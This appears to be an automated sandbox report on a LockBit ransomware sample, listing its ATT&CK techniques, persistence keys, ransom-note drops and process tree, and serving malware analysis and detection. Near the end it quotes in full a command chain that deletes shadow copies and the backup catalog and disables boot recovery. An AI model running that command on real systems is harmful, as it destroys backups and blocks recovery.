lockbit | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

pid	Process
6084	bcdedit.exe
5084	bcdedit.exe
4612	bcdedit.exe
1100	bcdedit.exe
5864	bcdedit.exe
5396	bcdedit.exe
292	bcdedit.exe
2240	bcdedit.exe

Renames multiple (6023) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes System State backups 3 TTPs 4 IoCs

Uses wbadmin.exe to inhibit system recovery.

Command and Scripting Interpreter

T1059

File Deletion

Inhibit System Recovery

pid	Process
6032	wbadmin.exe
4992	wbadmin.exe
1696	wbadmin.exe
4224	wbadmin.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

Command and Scripting Interpreter

T1059

File Deletion

Inhibit System Recovery

pid	Process
5904	wbadmin.exe
4720	wbadmin.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation	LockBit_14_02_2021_146KB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation	LockBit_14_02_2021_146KB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\RansomwareSamples\\LockBit_14_02_2021_146KB.exe\""	LockBit_14_02_2021_146KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\Users\\Admin\\Desktop\\LockBit-note.hta"	LockBit_14_02_2021_146KB.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	LockBit_14_02_2021_146KB.exe
File opened (read-only)	\??\F:	LockBit_14_02_2021_146KB.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\27C7.tmp.bmp"	LockBit_14_02_2021_146KB.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\es-ES\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_auditreport_18.svg	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small2x.png	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdCO365R_SubTrial-pl.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\index.win32.bundle.map	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\createpdf.svg	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\root\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklisted.certs	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_OEM_Perp2-ul-phn.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\share.svg	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\bg_get.svg	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\Confirmation.png	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Gallery.thmx	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\sl-si\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sk-sk\ui-strings.js	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Retail-pl.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vreg\powerpointmui.msi.16.en-us.vreg.dat	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ExcelVL_MAK-ppd.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProCO365R_Subscription-ul-oob.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense2019_eula.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\zh-tw_get.svg	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG.HXS	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ko-kr\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Office 2007 - 2010.xml	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_Retail-pl.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\WordNaiveBayesCommandRanker.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\hi\msipc.dll.mui	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\BOOKOSB.TTF	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\sk-sk\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MEDIA\CLICK.WAV	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images\assets_picker-account-addPerson-48.png	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\images\example_icons2x.png	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfont.properties.ja	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PROOF\MSSP7FR.LEX	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.xml	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-si\ui-strings.js	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp-pl.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTrial3-pl.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PersonalDemoR_BypassTrial180-ppd.xrm-ms	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Microsoft.AnalysisServices.Modeler.UI.rll	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sl-sl\ui-strings.js	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\EXCEL_F_COL.HXK	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ui-strings.js	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunjce_provider.jar	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\APASixthEditionOfficeOnline.xsl	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\TimelessResume.dotx	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-tool-view.js	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ru-ru\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sl-si\ui-strings.js	LockBit_14_02_2021_146KB.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\Restore-My-Files.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	LockBit_14_02_2021_146KB.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms	LockBit_14_02_2021_146KB.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
6884	6500	WerFault.exe	173
6876	6572	WerFault.exe	174
6316	7140	WerFault.exe	186

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LockBit_14_02_2021_146KB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LockBit_14_02_2021_146KB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fsutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6836	PING.EXE
6680	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

File Deletion

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
5400	vssadmin.exe
1740	vssadmin.exe
116	vssadmin.exe
1636	vssadmin.exe

Modifies Control Panel 2 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\TileWallpaper = "0"	LockBit_14_02_2021_146KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\Desktop\WallpaperStyle = "2"	LockBit_14_02_2021_146KB.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings	LockBit_14_02_2021_146KB.exe
Key created	\REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6836	PING.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
5912	LockBit_14_02_2021_146KB.exe
5912	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
5924	LockBit_14_02_2021_146KB.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
2508	WMIC.exe
2508	WMIC.exe
2508	WMIC.exe
2508	WMIC.exe
4624	WMIC.exe
4624	WMIC.exe
4624	WMIC.exe
4624	WMIC.exe
5916	WMIC.exe
5916	WMIC.exe
5916	WMIC.exe
5916	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5912	LockBit_14_02_2021_146KB.exe
Token: SeDebugPrivilege	5912	LockBit_14_02_2021_146KB.exe
Token: SeTakeOwnershipPrivilege	5924	LockBit_14_02_2021_146KB.exe
Token: SeDebugPrivilege	5924	LockBit_14_02_2021_146KB.exe
Token: SeBackupPrivilege	2528	vssvc.exe
Token: SeRestorePrivilege	2528	vssvc.exe
Token: SeAuditPrivilege	2528	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2508	WMIC.exe
Token: SeSecurityPrivilege	2508	WMIC.exe
Token: SeTakeOwnershipPrivilege	2508	WMIC.exe
Token: SeLoadDriverPrivilege	2508	WMIC.exe
Token: SeSystemProfilePrivilege	2508	WMIC.exe
Token: SeSystemtimePrivilege	2508	WMIC.exe
Token: SeProfSingleProcessPrivilege	2508	WMIC.exe
Token: SeIncBasePriorityPrivilege	2508	WMIC.exe
Token: SeCreatePagefilePrivilege	2508	WMIC.exe
Token: SeBackupPrivilege	2508	WMIC.exe
Token: SeRestorePrivilege	2508	WMIC.exe
Token: SeShutdownPrivilege	2508	WMIC.exe
Token: SeDebugPrivilege	2508	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2508	WMIC.exe
Token: SeRemoteShutdownPrivilege	2508	WMIC.exe
Token: SeUndockPrivilege	2508	WMIC.exe
Token: SeManageVolumePrivilege	2508	WMIC.exe
Token: 33	2508	WMIC.exe
Token: 34	2508	WMIC.exe
Token: 35	2508	WMIC.exe
Token: 36	2508	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4872	WMIC.exe
Token: SeSecurityPrivilege	4872	WMIC.exe
Token: SeTakeOwnershipPrivilege	4872	WMIC.exe
Token: SeLoadDriverPrivilege	4872	WMIC.exe
Token: SeSystemProfilePrivilege	4872	WMIC.exe
Token: SeSystemtimePrivilege	4872	WMIC.exe
Token: SeProfSingleProcessPrivilege	4872	WMIC.exe
Token: SeIncBasePriorityPrivilege	4872	WMIC.exe
Token: SeCreatePagefilePrivilege	4872	WMIC.exe
Token: SeBackupPrivilege	4872	WMIC.exe
Token: SeRestorePrivilege	4872	WMIC.exe
Token: SeShutdownPrivilege	4872	WMIC.exe
Token: SeDebugPrivilege	4872	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4872	WMIC.exe
Token: SeRemoteShutdownPrivilege	4872	WMIC.exe
Token: SeUndockPrivilege	4872	WMIC.exe
Token: SeManageVolumePrivilege	4872	WMIC.exe
Token: 33	4872	WMIC.exe
Token: 34	4872	WMIC.exe
Token: 35	4872	WMIC.exe
Token: 36	4872	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4872	WMIC.exe
Token: SeSecurityPrivilege	4872	WMIC.exe
Token: SeTakeOwnershipPrivilege	4872	WMIC.exe
Token: SeLoadDriverPrivilege	4872	WMIC.exe
Token: SeSystemProfilePrivilege	4872	WMIC.exe
Token: SeSystemtimePrivilege	4872	WMIC.exe
Token: SeProfSingleProcessPrivilege	4872	WMIC.exe
Token: SeIncBasePriorityPrivilege	4872	WMIC.exe
Token: SeCreatePagefilePrivilege	4872	WMIC.exe
Token: SeBackupPrivilege	4872	WMIC.exe
Token: SeRestorePrivilege	4872	WMIC.exe
Token: SeShutdownPrivilege	4872	WMIC.exe
Token: SeDebugPrivilege	4872	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4872	WMIC.exe
Token: SeRemoteShutdownPrivilege	4872	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6112 wrote to memory of 5924	6112	cmd.exe	85
PID 6112 wrote to memory of 5924	6112	cmd.exe	85
PID 6112 wrote to memory of 5924	6112	cmd.exe	85
PID 5912 wrote to memory of 1840	5912	LockBit_14_02_2021_146KB.exe	87
PID 5912 wrote to memory of 1840	5912	LockBit_14_02_2021_146KB.exe	87
PID 5924 wrote to memory of 4780	5924	LockBit_14_02_2021_146KB.exe	89
PID 5924 wrote to memory of 4780	5924	LockBit_14_02_2021_146KB.exe	89
PID 1840 wrote to memory of 1636	1840	cmd.exe	133
PID 1840 wrote to memory of 1636	1840	cmd.exe	133
PID 4780 wrote to memory of 5400	4780	cmd.exe	93
PID 4780 wrote to memory of 5400	4780	cmd.exe	93
PID 1840 wrote to memory of 4872	1840	cmd.exe	96
PID 1840 wrote to memory of 4872	1840	cmd.exe	96
PID 4780 wrote to memory of 2508	4780	cmd.exe	97
PID 4780 wrote to memory of 2508	4780	cmd.exe	97
PID 5924 wrote to memory of 3412	5924	LockBit_14_02_2021_146KB.exe	98
PID 5924 wrote to memory of 3412	5924	LockBit_14_02_2021_146KB.exe	98
PID 5924 wrote to memory of 288	5924	LockBit_14_02_2021_146KB.exe	101
PID 5924 wrote to memory of 288	5924	LockBit_14_02_2021_146KB.exe	101
PID 5924 wrote to memory of 1608	5924	LockBit_14_02_2021_146KB.exe	103
PID 5924 wrote to memory of 1608	5924	LockBit_14_02_2021_146KB.exe	103
PID 5924 wrote to memory of 3404	5924	LockBit_14_02_2021_146KB.exe	105
PID 5924 wrote to memory of 3404	5924	LockBit_14_02_2021_146KB.exe	105
PID 5924 wrote to memory of 5492	5924	LockBit_14_02_2021_146KB.exe	107
PID 5924 wrote to memory of 5492	5924	LockBit_14_02_2021_146KB.exe	107
PID 5924 wrote to memory of 5476	5924	LockBit_14_02_2021_146KB.exe	109
PID 5924 wrote to memory of 5476	5924	LockBit_14_02_2021_146KB.exe	109
PID 3412 wrote to memory of 1740	3412	cmd.exe	111
PID 3412 wrote to memory of 1740	3412	cmd.exe	111
PID 5924 wrote to memory of 4664	5924	LockBit_14_02_2021_146KB.exe	112
PID 5924 wrote to memory of 4664	5924	LockBit_14_02_2021_146KB.exe	112
PID 5924 wrote to memory of 568	5924	LockBit_14_02_2021_146KB.exe	114
PID 5924 wrote to memory of 568	5924	LockBit_14_02_2021_146KB.exe	114
PID 5476 wrote to memory of 4624	5476	cmd.exe	116
PID 5476 wrote to memory of 4624	5476	cmd.exe	116
PID 5492 wrote to memory of 6032	5492	cmd.exe	117
PID 5492 wrote to memory of 6032	5492	cmd.exe	117
PID 4664 wrote to memory of 6028	4664	cmd.exe	119
PID 4664 wrote to memory of 6028	4664	cmd.exe	119
PID 1840 wrote to memory of 4612	1840	cmd.exe	118
PID 1840 wrote to memory of 4612	1840	cmd.exe	118
PID 1608 wrote to memory of 6084	1608	cmd.exe	121
PID 1608 wrote to memory of 6084	1608	cmd.exe	121
PID 4780 wrote to memory of 5084	4780	cmd.exe	120
PID 4780 wrote to memory of 5084	4780	cmd.exe	120
PID 3404 wrote to memory of 4992	3404	cmd.exe	122
PID 3404 wrote to memory of 4992	3404	cmd.exe	122
PID 288 wrote to memory of 1100	288	cmd.exe	123
PID 288 wrote to memory of 1100	288	cmd.exe	123
PID 5924 wrote to memory of 5032	5924	LockBit_14_02_2021_146KB.exe	124
PID 5924 wrote to memory of 5032	5924	LockBit_14_02_2021_146KB.exe	124
PID 5924 wrote to memory of 2428	5924	LockBit_14_02_2021_146KB.exe	126
PID 5924 wrote to memory of 2428	5924	LockBit_14_02_2021_146KB.exe	126
PID 5924 wrote to memory of 1936	5924	LockBit_14_02_2021_146KB.exe	128
PID 5924 wrote to memory of 1936	5924	LockBit_14_02_2021_146KB.exe	128
PID 5924 wrote to memory of 2964	5924	LockBit_14_02_2021_146KB.exe	130
PID 5924 wrote to memory of 2964	5924	LockBit_14_02_2021_146KB.exe	130
PID 5924 wrote to memory of 1008	5924	LockBit_14_02_2021_146KB.exe	132
PID 5924 wrote to memory of 1008	5924	LockBit_14_02_2021_146KB.exe	132
PID 5924 wrote to memory of 472	5924	LockBit_14_02_2021_146KB.exe	134
PID 5924 wrote to memory of 472	5924	LockBit_14_02_2021_146KB.exe	134
PID 4780 wrote to memory of 5396	4780	cmd.exe	136
PID 4780 wrote to memory of 5396	4780	cmd.exe	136
PID 1840 wrote to memory of 5864	1840	cmd.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Enumerates connected drives
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1840
